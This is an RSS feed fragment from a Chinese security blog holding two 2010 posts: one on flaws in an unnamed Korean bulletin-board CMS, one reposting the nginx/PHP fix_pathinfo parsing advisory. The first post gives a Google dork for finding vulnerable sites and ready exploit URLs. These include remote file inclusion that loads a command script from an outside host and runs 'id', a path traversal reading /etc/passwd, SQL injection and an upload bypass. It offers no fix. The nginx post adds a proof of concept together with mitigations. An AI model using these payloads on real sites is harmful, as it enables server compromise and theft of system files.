		<link>http://www.0x50sec.org/%e9%9f%a9%e5%9b%bd%e6%9f%90cms%e8%bf%9c%e7%a8%8b%e5%8c%85%e5%90%ab%e3%80%81%e6%b3%a8%e5%b0%84%e3%80%81%e6%96%87%e4%bb%b6%e6%b3%84%e6%bc%8f%e3%80%81%e4%b8%8a%e4%bc%a0%e7%ad%89%e5%a4%9a%e4%b8%aa/</link>
		<comments>http://www.0x50sec.org/%e9%9f%a9%e5%9b%bd%e6%9f%90cms%e8%bf%9c%e7%a8%8b%e5%8c%85%e5%90%ab%e3%80%81%e6%b3%a8%e5%b0%84%e3%80%81%e6%96%87%e4%bb%b6%e6%b3%84%e6%bc%8f%e3%80%81%e4%b8%8a%e4%bc%a0%e7%ad%89%e5%a4%9a%e4%b8%aa/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 06:54:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[rfi]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=909</guid>
		<description><![CDATA[来源:0x50sec.org 无意中发现的，名字未知，版本不详，问题一堆 Google Dork: inurl:bbs_sun/board.php board.php文件内容如下: &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#60;? if(!$admin) $pgUp .= &#8220;../&#8221;; else if($admin==&#8217;N') $pgUp .= &#8220;&#8221;; include $pgUp.&#8221;inc/dbconn.php&#8221;; include $pgUp.&#8221;bbs_sun/config.php&#8221;; ?&#62; &#60;link href=&#8221;&#60;?=$skinSrc?&#62;/style.css&#8221; rel=&#8221;stylesheet&#8221; type=&#8221;text/css&#8221;&#62; &#60;? if($mode == &#8220;list&#8221;) include ($skinSrc.&#8221;/list.php&#8221;); else if($mode == &#8220;write&#8221; &#124;&#124; $mode == &#8220;modify&#8221; &#124;&#124; $mode == &#8220;reply&#8221;) include ($skinSrc.&#8221;/write.php&#8221;); else if($mode == &#8220;view&#8221;) include ($skinSrc.&#8221;/view.php&#8221;); else if($mode == [...]]]></description>
			<content:encoded><![CDATA[<p>来源:0x50sec.org</p>
<p>无意中发现的，名字未知，版本不详，问题一堆</p>
<p>Google Dork: inurl:bbs_sun/board.php</p>
<p>board.php文件内容如下:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&lt;?<br />
if(!$admin) $pgUp .= &#8220;../&#8221;;<br />
else if($admin==&#8217;N') $pgUp .= &#8220;&#8221;;</p>
<p>include $pgUp.&#8221;inc/dbconn.php&#8221;;<br />
include $pgUp.&#8221;bbs_sun/config.php&#8221;;<br />
?&gt;</p>
<p>&lt;link href=&#8221;&lt;?=$skinSrc?&gt;/style.css&#8221; rel=&#8221;stylesheet&#8221; type=&#8221;text/css&#8221;&gt;<br />
&lt;?<br />
if($mode == &#8220;list&#8221;) include ($skinSrc.&#8221;/list.php&#8221;);<br />
else if($mode == &#8220;write&#8221; || $mode == &#8220;modify&#8221; || $mode == &#8220;reply&#8221;) include ($skinSrc.&#8221;/write.php&#8221;);<br />
else if($mode == &#8220;view&#8221;) include ($skinSrc.&#8221;/view.php&#8221;);<br />
else if($mode == &#8220;delete&#8221; || $mode == &#8220;ment_delete&#8221;) include ($skinSrc.&#8221;/delete.php&#8221;);<br />
?&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><span id="more-909"></span></p>
<p>此处存在远程文件包含漏洞</p>
<p>EXP:</p>
<p>http://xxxx.kr/bbs_sun/board.php?admin=0x50sec.org&#038;pgUp=http://www.0x50sec.org/evil.txt?</p>
<p>board.php?admin=0x50sec.org&amp;pgUp=http://www.0x50sec.org/evil.txt?&amp;skinSrc=http://www.0x50sec.org/cmd.txt?&amp;cmd=id&amp;mode=view</p>
<p>有的含有download.php文件，对file变量和bname变量都没有进行必要的检查，导致文件泄漏漏洞:</p>
<p>EXP:</p>
<p>http://xxxx.kr/s_board_text/download.php?file=../../../../../etc/passwd&#038;bname=../</p>
<p>mode变量为view时,有的版本对number变量没有过滤导致SQL注射漏洞</p>
<p>mode=view&amp;number=</p>
<p>mode变量为write时,有的版本对管理权限的验证存在问题可以被绕过，从而可以发布文章和上传文件。</p>
<p>打开一条记录，将mode=view直接改为write就可以上传了。</p>
<p>可能还存在其他的问题比如文件删除等，懒得看了。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e9%9f%a9%e5%9b%bd%e6%9f%90cms%e8%bf%9c%e7%a8%8b%e5%8c%85%e5%90%ab%e3%80%81%e6%b3%a8%e5%b0%84%e3%80%81%e6%96%87%e4%bb%b6%e6%b3%84%e6%bc%8f%e3%80%81%e4%b8%8a%e4%bc%a0%e7%ad%89%e5%a4%9a%e4%b8%aa/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>nginx文件类型错误解析漏洞</title>
		<link>http://www.0x50sec.org/nginx%e6%96%87%e4%bb%b6%e7%b1%bb%e5%9e%8b%e9%94%99%e8%af%af%e8%a7%a3%e6%9e%90%e6%bc%8f%e6%b4%9e/</link>
		<comments>http://www.0x50sec.org/nginx%e6%96%87%e4%bb%b6%e7%b1%bb%e5%9e%8b%e9%94%99%e8%af%af%e8%a7%a3%e6%9e%90%e6%bc%8f%e6%b4%9e/#comments</comments>
		<pubDate>Mon, 24 May 2010 03:46:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[80sec]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[解析漏洞]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=901</guid>
		<description><![CDATA[nginx文件类型错误解析漏洞 来源:80sec.com 原文链接:http://www.80sec.com/nginx-securit.html 漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能攻陷支持php的nginx服务器。 漏洞分析：nginx默认以cgi的方式支持php的运行，譬如在配置文件当中可以以 location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params; } 的方式支持对php的解析，location对请求进行选择的时候会使用URI环境变量进行选择，其中传递到后端Fastcgi的关键变量 SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定，而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的，这里就是产生问题的点。而为了较好的支持PATH_INFO的提取，在PHP 的配置选项里存在cgi.fix_pathinfo选项，其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。 那么假设存在一个http://www.80sec.com/80sec.jpg，我们以如下的方式去访问 http://www.80sec.com/80sec.jpg/80sec.php 将会得到一个URI /80sec.jpg/80sec.php 经过location指令，该请求将会交给后端的fastcgi处理，nginx为其设置环境变量SCRIPT_FILENAME，内容为 /scripts/80sec.jpg/80sec.php 而在其他的webserver如lighttpd当中，我们发现其中的SCRIPT_FILENAME被正确的设置为 /scripts/80sec.jpg 所以不存在此问题。 后端的fastcgi在接受到该选项时，会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理，一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用，所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字，查找的方式也是查看文件是否存在，这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为 /scripts/80sec.jpg和80sec.php 最后，以/scripts/80sec.jpg作为此次请求需要执行的脚本，攻击者就可以实现让nginx以php来解析任何类型的文件了。 POC： 访问一个nginx来支持php的站点，在一个任何资源的文件如robots.txt后面加上/80sec.php，这个时候你可以看到如下的区别： 访问http://www.80sec.com/robots.txt HTTP/1.1 200 OK Server: nginx/0.6.32 Date: Thu, 20 May 2010 10:05:30 GMT Content-Type: text/plain Content-Length: 18 [...]]]></description>
			<content:encoded><![CDATA[<p>nginx文件类型错误解析漏洞<br />
来源:80sec.com<br />
原文链接:<a href="http://www.80sec.com/nginx-securit.html">http://www.80sec.com/nginx-securit.html</a></p>
<p>漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能攻陷支持php的nginx服务器。</p>
<p>漏洞分析：nginx默认以cgi的方式支持php的运行，譬如在配置文件当中可以以<br />
<span id="more-901"></span><br />
location ~ \.php$ {<br />
root html;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;<br />
include fastcgi_params;<br />
}</p>
<p>的方式支持对php的解析，location对请求进行选择的时候会使用URI环境变量进行选择，其中传递到后端Fastcgi的关键变量 SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定，而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的，这里就是产生问题的点。而为了较好的支持PATH_INFO的提取，在PHP 的配置选项里存在cgi.fix_pathinfo选项，其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。<br />
那么假设存在一个http://www.80sec.com/80sec.jpg，我们以如下的方式去访问</p>
<p>http://www.80sec.com/80sec.jpg/80sec.php</p>
<p>将会得到一个URI</p>
<p>/80sec.jpg/80sec.php</p>
<p>经过location指令，该请求将会交给后端的fastcgi处理，nginx为其设置环境变量SCRIPT_FILENAME，内容为</p>
<p>/scripts/80sec.jpg/80sec.php</p>
<p>而在其他的webserver如lighttpd当中，我们发现其中的SCRIPT_FILENAME被正确的设置为</p>
<p>/scripts/80sec.jpg</p>
<p>所以不存在此问题。<br />
后端的fastcgi在接受到该选项时，会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理，一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用，所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字，查找的方式也是查看文件是否存在，这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为</p>
<p>/scripts/80sec.jpg和80sec.php</p>
<p>最后，以/scripts/80sec.jpg作为此次请求需要执行的脚本，攻击者就可以实现让nginx以php来解析任何类型的文件了。</p>
<p>POC： 访问一个nginx来支持php的站点，在一个任何资源的文件如robots.txt后面加上/80sec.php，这个时候你可以看到如下的区别：</p>
<p>访问http://www.80sec.com/robots.txt</p>
<p>HTTP/1.1 200 OK<br />
Server: nginx/0.6.32<br />
Date: Thu, 20 May 2010 10:05:30 GMT<br />
Content-Type: text/plain<br />
Content-Length: 18<br />
Last-Modified: Thu, 20 May 2010 06:26:34 GMT<br />
Connection: keep-alive<br />
Keep-Alive: timeout=20<br />
Accept-Ranges: bytes</p>
<p>访问访问http://www.80sec.com/robots.txt/80sec.php</p>
<p>HTTP/1.1 200 OK<br />
Server: nginx/0.6.32<br />
Date: Thu, 20 May 2010 10:06:49 GMT<br />
Content-Type: text/html<br />
Transfer-Encoding: chunked<br />
Connection: keep-alive<br />
Keep-Alive: timeout=20<br />
X-Powered-By: PHP/5.2.6</p>
<p>其中的Content-Type的变化说明了后端负责解析的变化，该站点就可能存在漏洞。</p>
<p>漏洞厂商：http://www.nginx.org</p>
<p>解决方案：</p>
<p>我们已经尝试联系官方，但是此前你可以通过以下的方式来减少损失</p>
<p>关闭cgi.fix_pathinfo为0</p>
<p>或者</p>
<p>if ( $fastcgi_script_name ~ \..*\/.*php ) {<br />
return 403;<br />
}</p>
<p>PS: 鸣谢laruence大牛在分析过程中给的帮助</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/nginx%e6%96%87%e4%bb%b6%e7%b1%bb%e5%9e%8b%e9%94%99%e8%af%af%e8%a7%a3%e6%9e%90%e6%bc%8f%e6%b4%9e/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

